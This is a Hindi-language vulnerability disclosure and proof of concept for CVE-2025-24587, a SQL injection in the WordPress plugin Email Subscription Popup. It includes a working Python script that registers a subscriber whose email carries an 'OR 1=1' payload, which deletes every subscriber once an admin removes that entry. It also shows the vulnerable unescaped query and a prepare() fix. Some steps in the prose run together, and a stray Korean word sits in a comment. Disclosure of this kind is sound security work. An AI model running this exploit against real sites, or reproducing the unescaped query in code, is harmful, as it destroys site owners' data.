
CVE-2025-24587 का PoC
वर्डप्रेस प्लगइन
घटक नाम Email Subscription Popup
असुरक्षित संस्करण <= 1.2.23
घटक स्लग email-subscribe
घटक लिंक https://wordpress.org/plugins/email-subscribe/
भेद्यता वर्ग A3: Injection
भेद्यता प्रकार SQL Injection
अप्रमाणित
एक अनधिकृत उपयोगकर्ता (हमलावर) एक ईमेल पते का उपयोग करके न्यूज़लेटर की सदस्यता लेता है जिसमें SQL Injection पेलोड होता है। बाद में, जब व्यवस्थापक "Subscriber Management" पृष्ठ पर जाता है, दुर्भावनापूर्ण ईमेल पते का चयन करता है, और हटाने का अनुरोध करता है, तो ईमेल पते में एम्बेडेड SQL Injection पेलोड निष्पादित हो जाता है। परिणामस्वरूप, डेटाबेस से सभी सदस्यता प्राप्त ईमेल पते हटा दिए जाते हैं।
poc.py.txt फ़ाइल (संलग्न) को Python का उपयोग करके चलाएँ ताकि एक ईमेल पते के साथ न्यूज़लेटर की सदस्यता ली जा सके जिसमें SQL Injection भेद्यता को ट्रिगर करने वाला पेलोड हो:
'/**/OR/**/1=1#@a.apoc.py.txt में दिखाए अनुसार सीधे HTTP अनुरोध पैकेट भेजें।http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management।'/****/**OR**/****/1=1#@a.a का चयन करें और नीचे "Delete Selected Subscribers" बटन पर क्लिक करें।[भेद्यता का कारण]
यह भेद्यता फ़ाइल wp-content/plugins/email-subscribe/wp-email-subscription.php में, विशेष रूप से पंक्ति 2080 और 2084 के बीच होती है:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
इस समस्या को हल करने के लिए, आप WordPress द्वारा प्रदान किए गए $wpdb->prepare() का उपयोग कर सकते हैं। यह फ़ंक्शन SQL इंजेक्शन हमलों को रोकने के लिए SQL क्वेरी में उपयोग किए जाने वाले चरों को सुरक्षित रूप से एस्केप और फ़ॉर्मेट करता है।
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()